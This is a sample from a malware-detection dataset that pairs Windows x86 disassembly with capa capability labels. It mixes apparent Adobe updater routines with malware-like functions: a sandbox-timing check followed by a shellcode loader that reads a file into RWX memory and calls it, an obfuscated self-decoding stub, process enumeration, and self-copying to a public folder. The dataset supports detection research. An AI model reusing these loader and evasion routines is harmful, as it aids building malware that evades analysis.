joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4061e0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, 0x43c170
call fcn.0043b650
sub esp, 0xc
push ebx
push esi
push edi
mov edi, ecx
call fcn.00407f9a
mov esi, dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov ebx, eax
cmp ebx, 1
je 0x40620c
push edi
call esi
cmp eax, 0xffffffff
jne 0x40624e
test ebx, ebx
je 0x40624b
lea ecx, [ebp - 0x18]
call fcn.00402b75
and dword [ebp - 4], 0
cmp ebx, 1
setne al
push eax
lea edx, [ebp - 0x18]
mov ecx, edi
call fcn.004080a3
test al, al
push dword [ebp - 0x18]
je 0x406245
call esi
mov esi, eax
push dword [ebp - 0x18]
call fcn.00401c54
pop ecx
mov eax, esi
jmp 0x40624e
call fcn.00401c54
pop ecx
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x406a2b
Capabilities:
Get disk information

Disassembly:
mov eax, 0x43c23c
call fcn.0043b650
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x18], ecx
call fcn.00401553
mov edi, dword [sym.imp.kernel32.dll_GetLogicalDriveStringsW]
push 0
push 0
call edi
mov ebx, eax
test ebx, ebx
mov dword [ebp - 0x14], ebx
je 0x406af9
mov eax, SysReAllocString
cmp ebx, eax
ja 0x406a67
mov eax, ebx
add eax, eax
push eax
call fcn.00406ea6
mov esi, eax
pop ecx
mov dword [ebp - 0x20], esi
and dword [ebp - 4], 0
push esi
push ebx
call edi
mov ebx, eax
xor edi, edi
cmp ebx, edi
mov dword [ebp - 0x10], ebx
je 0x406af2
cmp ebx, dword [ebp - 0x14]
ja 0x406af2
lea ecx, [ebp - 0x2c]
call fcn.00402b75
test ebx, ebx
mov byte [ebp - 4], 1
mov dword [ebp - 0x14], edi
jbe 0x406ada
push 2
xor eax, eax
pop ebx
cmp word [esi + ebx - 2], 0
jne 0x406acf
add eax, esi
lea ecx, [ebp - 0x2c]
push eax
call fcn.00406ea6
mov ecx, dword [ebp - 0x18]
lea eax, [edi + 1]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x2c]
push eax
mov dword [ebp - 0x1c], ebx
call fcn.0040150c
mov eax, ebx
inc edi
inc ebx
inc ebx
cmp edi, dword [ebp - 0x10]
jb 0x406aa5
mov ebx, dword [ebp - 0x10]
push dword [ebp - 0x2c]
call fcn.00401c54
push esi
call fcn.00401c54
cmp dword [ebp - 0x14], ebx
pop ecx
pop ecx
sete al
jmp 0x406afb
push esi
call fcn.00401c54
pop ecx
xor al, al
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x406ea6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x406eb5
pop dword [ebp - 0x28]
mov eax, 0x5165101f
add eax, 0xaedb5e96
sub dword [ebp - 0x28], eax
push 0x40
push 0x1000
push 0x3ae4a
push 0
mov eax, 0xb1ab3a92
add eax, 0x4e98d5ae
add eax, dword [ebp - 0x28]
call dword [eax]
mov ecx, 0x46e4
mov esi, eax
mov edx, 0xd600ba4
add edx, 0xf2e5625c
add edx, dword [ebp - 0x28]
mov ebx, 0xe67b2b9a
sub ebx, 0x8aafdea0
xor dword [ebp - 0x24], 0x161a75e3
mov edi, dword [edx]
add edi, ebx
mov dword [ebp - 0x18], 0xd03a1d35
mov dword [esi], edi
add dword [ebp - 8], 0x41b35867
add esi, 4
add edx, 0xcad4c36d
add edx, 0x352b3c97
loop 0x406f0e
add eax, 0x71863666
add eax, 0x8e7ad7fd
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x5d190ea3
sub ecx, 0x5cd90ea3
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x402960
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x4474dc]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x138], 0x128
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 8], eax
lea eax, [ebp - 0x138]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x4029dd
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x114]
push eax
call fcn.0042ff80
add esp, 8
test eax, eax
jne 0x4029c8
mov ecx, dword [ebp - 0x130]
mov dword [ebp - 4], ecx
jmp 0x4029dd
lea edx, [ebp - 0x138]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x4029a6
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.0040c0b0
mov esp, ebp
pop ebp
ret

Function at 0x402c60
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00402a00
movzx eax, al
test eax, eax
je 0x402c7a
jmp 0x402d71
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
mov dword [ebp - 4], eax
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0xfffffed4
sub eax, dword [ebp - 4]
cdq
mov esi, eax
mov edi, edx
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
add esi, eax
adc edi, edx
mov eax, esi
cdq
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], edx
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0x10]
push edx
push str.v4:_d_n
call fcn.00410310
add esp, 0xc
mov eax, dword [ebp - 0xc]
xor ecx, ecx
xor eax, dword [ebp - 0x10]
xor ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0xc]
xor esi, esi
sub eax, edx
sbb ecx, esi
cmp eax, 0x64
jle 0x402cee
push str.sandbox____n
call fcn.00410310
add esp, 4
jmp 0x402d71
push 0
push 0x80
push 4
push 0
push 1
push SysReAllocString
push 0x4436fc
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x18], eax
push 0
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x1c], eax
push 0x40
push 0x1000
mov ecx, dword [ebp - 0x1c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x20], eax
push 0
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 0x20]
call eax
popal
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x5e
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402d80
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x402daa
mov ecx, dword [ebp - 4]
and ecx, 0x10
jne 0x402daa
mov dword [ebp - 8], 1
jmp 0x402db1
mov dword [ebp - 8], 0
mov al, byte [ebp - 8]
mov esp, ebp
pop ebp
ret

Function at 0x402dc0
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x4474dc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push eax
push str.C:UsersPublicDownloads_s
push 0xffffffffffffffff
push 0x104
lea ecx, [ebp - 0x218]
push ecx
call fcn.0040c790
add esp, 0x14
push 0x104
lea edx, [ebp - 0x110]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x218]
push eax
call fcn.00402d80
add esp, 4
movzx ecx, al
test ecx, ecx
je 0x402e1e
jmp 0x402e31
push 0
lea edx, [ebp - 0x218]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040c0b0
mov esp, ebp
pop ebp
ret
Function at 0x40c0b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4474dc]
jne 0x40c0ba
repz ret
jmp fcn.00416c00
Function at 0x4010f0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
pushal
cmp dword [ebp + 0xc], 1
jne 0x4012c9
push 0x4e4941
push 0x4d5f3031
push 0x46434d4d
push 0
lea edx, [esp + 4]
push edx
call dword [sym.imp.USER32.DLL_FindWindowA]
add esp, 0xc
cmp eax, 0
je 0x4012c9
push 0xffffffffffffffeb
push eax
call dword [sym.imp.USER32.DLL_GetWindowLongA]
cmp eax, 0
je 0x4012c9
mov ebx, eax
cmp dword [ebx + 4], 0x2710
jne 0x4012c9
mov eax, dword [ebp + 8]
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], 1
mov dword [ebp - 0x128], 0x4012d3
mov dword [ebp - 0x124], fcn.004015b0
mov dword [ebp - 0x120], 0x4017fb
push 0x20
push 0x29323030
push 0x28353920
push 0x24454c55
push 0x444f4d24
push esp
lea edx, [ebp - 0x11c]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
add esp, 0x14
push 0x118
lea edx, [ebp - 0x130]
push edx
lea edx, [ebx + 0x8c]
push edx
call fcn.00405b7d
push 0
push 0x64726f46
push esp
push 0
push 0
push 0
push 0
push 0
push 0
push dword [ebp + 8]
push 0
lea edx, [ebx + 0xa4]
push edx
call fcn.00401ecc
add esp, 8
mov dword [ebp - 0x10], eax
push 0xa
push 0x3e8
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
test eax, eax
je 0x401230
mov dword [ebp - 0x18], eax
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_LoadResource]
test eax, eax
je 0x401227
mov dword [ebp - 0x14], eax
push 0x16da
lea edx, [eax + 0x17]
push edx
push 0x40856a
call dword [sym.imp.NTDLL.DLL_memcpy]
add esp, 0xc
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.DLL_FreeResource]
push 0x7473
push 0x65745f6e
push 0x61635f35
push 0x30633731
push 0x6364655f
push 0x64726f66
mov dword [ebp - 8], esp
push 0x3030
push 0x302e3031
mov dword [ebp - 4], esp
push 0x4e4143
push 0x205d6b36
push 0x3930345b
push 0x35304337
push 0x31434445
push 0x29545345
push 0x54282435
push 0x30633731
push 0x6364652e
push 0x35396d24
push esp
push dword [ebp - 4]
push dword [ebp - 8]
push 0x16da
push 0x40856a
push 0x400000
push 0x83
push dword [ebp + 8]
push dword [ebp - 0x10]
lea edx, [ebx + 0xa4]
push edx
call fcn.00401ecc
add esp, 0x28
add esp, 8
add esp, 0x18
mov dword [ebp - 0xc], eax
popal
mov eax, 1
leave
ret 0xc
Function at 0x40855e
Capabilities:
Create process on windows

Disassembly:
push 0xc
mov eax, 0x4ad170
call fcn.0046c338
mov esi, ecx
mov dword [ebp - 0x18], esi
call fcn.004524e1
push eax
lea ecx, [ebp - 0x10]
call fcn.00402899
mov edx, dword [ebp + 0xc]
lea ecx, [ebp - 0x10]
xor ebx, ebx
mov dword [ebp - 4], ebx
call fcn.00445798
lea ecx, [ebp - 0x14]
test eax, eax
jne 0x4085d3
push str.Failed_to_create_launcher_path
call fcn.00402829
mov byte [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x1b2c4
lea ecx, [esi + 0x554]
call fcn.00415623
mov ecx, dword [ebp - 0x14]
lea ecx, [ecx - 0x10]
call fcn.00402e64
mov esi, dword [ebp - 0x10]
push 0xd
pop edi
jmp 0x4086dd
push str.Launcher_path:
call fcn.00402829
push ebx
lea eax, [ebp - 0x10]
mov byte [ebp - 4], 2
push eax
push 2
lea edx, [ebp - 0x14]
pop ecx
call fcn.00416da0
pop ecx
pop ecx
mov byte [ebp - 4], bl
mov ecx, dword [ebp - 0x14]
lea ecx, [ecx - 0x10]
call fcn.00402e64
mov eax, dword [ebp + 8]
mov esi, dword [ebp - 0x10]
push 5
push ebx
push dword [eax]
push esi
push ebx
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp dword [0x5193b4], 0x271c8
mov edi, eax
je 0x408666
cmp edi, 0x21
jl 0x408666
mov ecx, dword [ebp - 0x18]
push str.ShellExecute_succeded.
mov dword [ecx + 0xe4], 1
lea ecx, [ebp - 0x14]
call fcn.00402829
push ebx
push 2
lea edx, [ebp - 0x14]
mov byte [ebp - 4], 5
pop ecx
call fcn.004174d1
pop ecx
mov ecx, dword [ebp - 0x14]
lea ecx, [ecx - 0x10]
call fcn.00402e64
jmp 0x4086df
push str.ShellExecute_failed
lea ecx, [ebp - 0x14]
call fcn.00402829
mov byte [ebp - 4], 3
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x14]
mov ecx, 0x187cc
push eax
cmp edi, 5
mov eax, 0x271c8
cmove eax, ecx
mov ecx, dword [ebp - 0x18]
push eax
add ecx, 0x554
call fcn.00415623
mov byte [ebp - 4], bl
mov ecx, dword [ebp - 0x14]
lea ecx, [ecx - 0x10]
call fcn.00402e64
cmp edi, 5
jne 0x4086dd
push str.ShellExecute_failed_with_SE_ERR_ACCESSDENIED
lea ecx, [ebp - 0x18]
call fcn.00402829
xor ecx, ecx
mov byte [ebp - 4], 4
push ebx
lea edx, [ebp - 0x18]
inc ecx
call fcn.004174d1
pop ecx
mov ecx, dword [ebp - 0x18]
lea ecx, [ecx - 0x10]
call fcn.00402e64
mov ebx, edi
lea ecx, [esi - 0x10]
call fcn.00402e64
mov eax, ebx
call fcn.0046c301
ret 8
Function at 0x408af6
Capabilities:
Delete registry key

Disassembly:
push 0x424
mov eax, 0x4ad257
call fcn.0046c36c
mov esi, ecx
push str.LaunchSafeCleanup...
lea ecx, [ebp - 0x428]
call fcn.00402829
xor ebx, ebx
lea edx, [ebp - 0x428]
push ebx
push 2
pop ecx
mov dword [ebp - 4], ebx
call fcn.004174d1
or dword [ebp - 4], 0xffffffff
pop ecx
mov ecx, dword [ebp - 0x428]
lea ecx, [ecx - 0x10]
call fcn.00402e64
call fcn.004524e1
push eax
lea ecx, [ebp - 0x428]
call fcn.00402899
lea ecx, [ebp - 0x428]
mov dword [ebp - 4], 1
call fcn.004456f4
test eax, eax
je 0x408ccc
mov edi, 0x208
mov dword [ebp - 0x42c], ebx
push edi
lea eax, [ebp - 0x420]
push ebx
push eax
call fcn.004847f0
push edi
lea eax, [ebp - 0x218]
push ebx
push eax
call fcn.004847f0
lea eax, [ebp - 0x218]
push eax
lea edx, [ebp - 0x420]
lea ecx, [ebp - 0x42c]
call fcn.0043be09
add esp, 0x1c
test eax, eax
je 0x408ccc
lea ecx, [ebp - 0x424]
mov dword [esi + 0xfc], ebx
push str._ArmCleanup
cmp dword [esi + 0xf4], ebx
je 0x408bfd
call fcn.00402829
lea eax, [ebp - 0x42c]
mov byte [ebp - 4], 2
push eax
lea edx, [ebp - 0x424]
lea ecx, [ebp - 0x428]
call fcn.0043b9a3
pop ecx
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x424]
add ecx, 0xfffffff0
jmp 0x408c2c
call fcn.00402829
lea eax, [ebp - 0x42c]
mov byte [ebp - 4], 3
push eax
lea edx, [ebp - 0x424]
lea ecx, [ebp - 0x428]
call fcn.0043bb83
pop ecx
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x424]
lea ecx, [ecx - 0x10]
mov edi, eax
call fcn.00402e64
test edi, edi
jne 0x408c54
mov edi, ebx
jmp 0x408c4c
cmp edi, 0x14
jge 0x408c54
push 0xc8
inc edi
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [esi + 0xfc], ebx
je 0x408c3b
cmp dword [esi + 0xfc], ebx
jne 0x408c8e
push str.launch_cleanup_not_confirmed
lea ecx, [ebp - 0x424]
call fcn.00402829
push ebx
push 2
lea edx, [ebp - 0x424]
mov byte [ebp - 4], 4
pop ecx
call fcn.004174d1
pop ecx
mov ecx, dword [ebp - 0x424]
lea ecx, [ecx - 0x10]
call fcn.00402e64
lea eax, [ebp - 0x430]
push eax
push 0xf003f
push ebx
push 0x4ce868
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x408ccc
push str.Cleanup
push dword [ebp - 0x430]
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
push dword [ebp - 0x430]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x428]
lea ecx, [ecx - 0x10]
call fcn.00402e64
call fcn.0046c316
ret
Function at 0x40a57a
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push 0xc
mov eax, 0x4ad528
call fcn.0046c338
mov esi, ecx
lea eax, [esi + 0x318]
push eax
lea ecx, [ebp - 0x18]
call fcn.00402829
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 0x18]
cmp dword [eax - 0xc], ebx
je 0x40a671
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x40a671
cmp dword [esi + 0x1c0], ebx
jne 0x40a5f2
push str.Report_is_not_enabled_in_Session
lea ecx, [ebp - 0x14]
call fcn.00402829
push 2
pop ecx
push ebx
lea edx, [ebp - 0x14]
mov byte [ebp - 4], cl
call fcn.004174d1
pop ecx
mov ecx, dword [ebp - 0x14]
lea ecx, [ecx - 0x10]
call fcn.00402e64
mov ebx, 0x30d0e
jmp 0x40a69c
push 0x4ce724
push str.Reported
lea eax, [ebp - 0xd]
mov byte [ebp - 0xd], bl
push eax
lea ecx, [esi + 0x314]
call fcn.0040d970
cmp byte [ebp - 0xd], bl
je 0x40a626
push str.already_reported
lea ecx, [ebp - 0x14]
call fcn.00402829
mov byte [ebp - 4], 3
jmp 0x40a654
push ebx
push str.SessionApplication
lea eax, [ebp - 0xd]
mov byte [ebp - 0xd], bl
push eax
lea ecx, [esi + 0x314]
call fcn.0040d970
cmp byte [ebp - 0xd], bl
jne 0x40a69c
push str.Product_info_missing__cannot_report_data
lea ecx, [ebp - 0x14]
call fcn.00402829
mov byte [ebp - 4], 4
push ebx
push 2
lea edx, [ebp - 0x14]
pop ecx
call fcn.004174d1
pop ecx
mov ecx, dword [ebp - 0x14]
lea ecx, [ecx - 0x10]
call fcn.00402e64
push 0x15
pop ebx
jmp 0x40a69c
push str.No_Report_file
lea ecx, [ebp - 0x14]
call fcn.00402829
push ebx
push 2
pop ebx
lea edx, [ebp - 0x14]
mov byte [ebp - 4], 1
mov ecx, ebx
call fcn.004174d1
pop ecx
mov ecx, dword [ebp - 0x14]
lea ecx, [ecx - 0x10]
call fcn.00402e64
mov ecx, dword [ebp - 0x18]
add ecx, 0xfffffff0
call fcn.00402e64
mov eax, ebx
call fcn.0046c301
ret
Function at 0x40c2d2
Capabilities:
Create process on windows

Disassembly:
push 0x4c
mov eax, 0x4ada20
call fcn.0046c338
push str.ActivateArmBalloon...
lea ecx, [ebp - 0x18]
call fcn.00402829
xor ebx, ebx
lea edx, [ebp - 0x18]
push ebx
push 2
pop ecx
mov dword [ebp - 4], ebx
call fcn.004174d1
or dword [ebp - 4], 0xffffffff
pop ecx
mov ecx, dword [ebp - 0x18]
lea ecx, [ecx - 0x10]
call fcn.00402e64
mov ecx, dword [0x5193ec]
test ecx, ecx
je 0x40c32c
cmp dword [0x518f30], ebx
je 0x40c44f
call fcn.004373ce
jmp 0x40c44f
cmp dword [0x518f4c], ebx
je 0x40c34a
lea eax, [ebp - 0xd]
mov byte [ebp - 0xd], bl
push eax
mov ecx, 0x518e58
call fcn.0040c685
jmp 0x40c454
cmp dword [0x518f58], ebx
je 0x40c42d
cmp dword [0x5190d0], ebx
je 0x40c42d
push str._ShowInstallInProgressUI__PRODUCT:Acrobat__LANG:
lea ecx, [ebp - 0x14]
call fcn.00402829
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x14]
mov eax, dword [0x518ff0]
push dword [eax - 0xc]
push eax
call fcn.004025c6
call fcn.004524e1
push eax
lea ecx, [ebp - 0x18]
call fcn.00402899
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 2
call fcn.004456f4
test eax, eax
jne 0x40c3ad
mov ecx, dword [ebp - 0x18]
lea ecx, [ecx - 0x10]
jmp 0x40c41b
push 0x3c
pop esi
push esi
lea eax, [ebp - 0x58]
push ebx
push eax
call fcn.004847f0
mov eax, dword [ebp - 0x14]
add esp, 0xc
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x58]
mov dword [ebp - 0x58], esi
mov esi, dword [ebp - 0x18]
push eax
mov dword [ebp - 0x54], 0x540
mov dword [ebp - 0x3c], 5
mov dword [ebp - 0x48], esi
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x40c418
push str.ShellExecuteEx_to_launch_temp_AdobeARM.exe_UI_failed:
lea ecx, [ebp - 0x1c]
call fcn.00402829
mov byte [ebp - 4], 3
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 2
lea edx, [ebp - 0x1c]
pop ecx
call fcn.00417582
pop ecx
mov ecx, dword [ebp - 0x1c]
lea ecx, [ecx - 0x10]
call fcn.00402e64
lea ecx, [esi - 0x10]
call fcn.00402e64
mov ecx, dword [ebp - 0x14]
lea ecx, [ecx - 0x10]
call fcn.00402e64
jmp 0x40c454
mov ecx, 0x518e58
mov dword [0x518f2c], 1
mov dword [0x518f30], ebx
call fcn.0040bfa1
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.0040c5e2
call fcn.0046c301
ret
Function at 0x40c45a
Capabilities:
Create process on windows

Disassembly:
push 0x4c
mov eax, 0x4ada20
call fcn.0046c338
push str.ActivateArmUI...
lea ecx, [ebp - 0x18]
call fcn.00402829
xor ebx, ebx
lea edx, [ebp - 0x18]
push ebx
push 2
pop ecx
mov dword [ebp - 4], ebx
call fcn.004174d1
or dword [ebp - 4], 0xffffffff
pop ecx
mov ecx, dword [ebp - 0x18]
lea ecx, [ecx - 0x10]
call fcn.00402e64
mov ecx, dword [0x5193ec]
test ecx, ecx
je 0x40c4b4
cmp dword [0x518f30], ebx
je 0x40c5d7
call fcn.004373ce
jmp 0x40c5d7
cmp dword [0x518f4c], ebx
je 0x40c4d2
lea eax, [ebp - 0xd]
mov byte [ebp - 0xd], bl
push eax
mov ecx, 0x518e58
call fcn.0040c685
jmp 0x40c5dc
cmp dword [0x518f58], ebx
je 0x40c5b5
cmp dword [0x5190d0], ebx
je 0x40c5b5
push str._ShowInstallInProgressUI__PRODUCT:Acrobat__LANG:
lea ecx, [ebp - 0x14]
call fcn.00402829
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x14]
mov eax, dword [0x518ff0]
push dword [eax - 0xc]
push eax
call fcn.004025c6
call fcn.004524e1
push eax
lea ecx, [ebp - 0x18]
call fcn.00402899
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 2
call fcn.004456f4
test eax, eax
jne 0x40c535
mov ecx, dword [ebp - 0x18]
lea ecx, [ecx - 0x10]
jmp 0x40c5a3
push 0x3c
pop esi
push esi
lea eax, [ebp - 0x58]
push ebx
push eax
call fcn.004847f0
mov eax, dword [ebp - 0x14]
add esp, 0xc
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x58]
mov dword [ebp - 0x58], esi
mov esi, dword [ebp - 0x18]
push eax
mov dword [ebp - 0x54], 0x540
mov dword [ebp - 0x3c], 5
mov dword [ebp - 0x48], esi
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x40c5a0
push str.ShellExecuteEx_to_launch_temp_AdobeARM.exe_UI_failed:
lea ecx, [ebp - 0x1c]
call fcn.00402829
mov byte [ebp - 4], 3
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 2
lea edx, [ebp - 0x1c]
pop ecx
call fcn.00417582
pop ecx
mov ecx, dword [ebp - 0x1c]
lea ecx, [ecx - 0x10]
call fcn.00402e64
lea ecx, [esi - 0x10]
call fcn.00402e64
mov ecx, dword [ebp - 0x14]
lea ecx, [ecx - 0x10]
call fcn.00402e64
jmp 0x40c5dc
mov ecx, 0x518e58
mov dword [0x518f2c], 1
mov dword [0x518f30], ebx
call fcn.0040bfa1
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.0040c5e2
call fcn.0046c301
ret
Function at 0x40d32c
Capabilities:
Get common file path

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
xor ebx, ebx
push 0x104
push ebx
lea edi, [esi + 4]
mov dword [esi], vtable.CArmReport.0
push edi
call fcn.004847f0
add esp, 0xc
push edi
push ebx
push ebx
push 0x24
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x40d37c
mov ebx, 0x104
mov ecx, edi
push str.Temp_
mov edx, ebx
call fcn.0040ddaf
push str.ArmReport.ini
mov edx, ebx
mov ecx, edi
call fcn.0040ddaf
pop edi
mov eax, esi
pop esi
pop ebx
ret

Function at 0x40d3bd
Capabilities:
Write file on windows

Disassembly:
push 0x9c
mov eax, 0x4adbce
call fcn.0046c36c
mov esi, ecx
mov eax, 0xfeff
xor ebx, ebx
mov word [ebp - 0x78], ax
mov eax, vtable.ATL::CAccessToken.0
mov byte [ebp - 0x71], bl
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x98], ebx
mov dword [ebp - 0x94], ebx
mov dword [ebp - 0x90], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x88], ebx
mov dword [ebp - 0x84], ebx
mov dword [ebp - 0x80], ebx
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x70]
mov byte [ebp - 4], 1
push 0x4d2424
push eax
call fcn.0040db84
add esp, 0x10
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x9c]
call fcn.0040da9d
push ecx
lea eax, [ebp - 0x8c]
push eax
lea ecx, [ebp - 0x9c]
call fcn.0040da17
lea eax, [ebp - 0x71]
push eax
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x8c]
call fcn.0040d9df
push ebx
cmp byte [ebp - 0x71], bl
je 0x40d4a3
lea eax, [ebp - 0xa4]
mov dword [ebp - 0xa8], 0xc
push eax
push 1
push str.D:_D_OICI_GA___BG__D_OICI_GA___AN__A_OICI_GA___AU_
mov dword [ebp - 0xa0], ebx
call dword [sym.imp.ADVAPI32.dll_ConvertStringSecurityDescriptorToSecurityDescriptorW]
test eax, eax
je 0x40d4fd
push ebx
push 0x80
push 1
lea eax, [ebp - 0xa8]
push eax
jmp 0x40d4ab
push 0x80
push 1
push ebx
push ebx
push 0x40000000
lea eax, [esi + 4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x40d4fd
push ebx
lea eax, [ebp - 0x7c]
push eax
push 2
lea eax, [ebp - 0x78]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40d4fd
push ebx
lea eax, [ebp - 0x7c]
mov edi, str._SESSION_
push eax
push edi
call fcn.00487efd
pop ecx
lea eax, [eax*2 + 2]
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x40d507
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x40d50e
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x70]
call fcn.0040dca2
mov esi, vtable.ATL::CAccessToken.0
lea ecx, [ebp - 0x8c]
mov dword [ebp - 0x8c], esi
call fcn.0040dd20
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x9c], esi
call fcn.0040dd20
mov eax, ebx
call fcn.0046c316
ret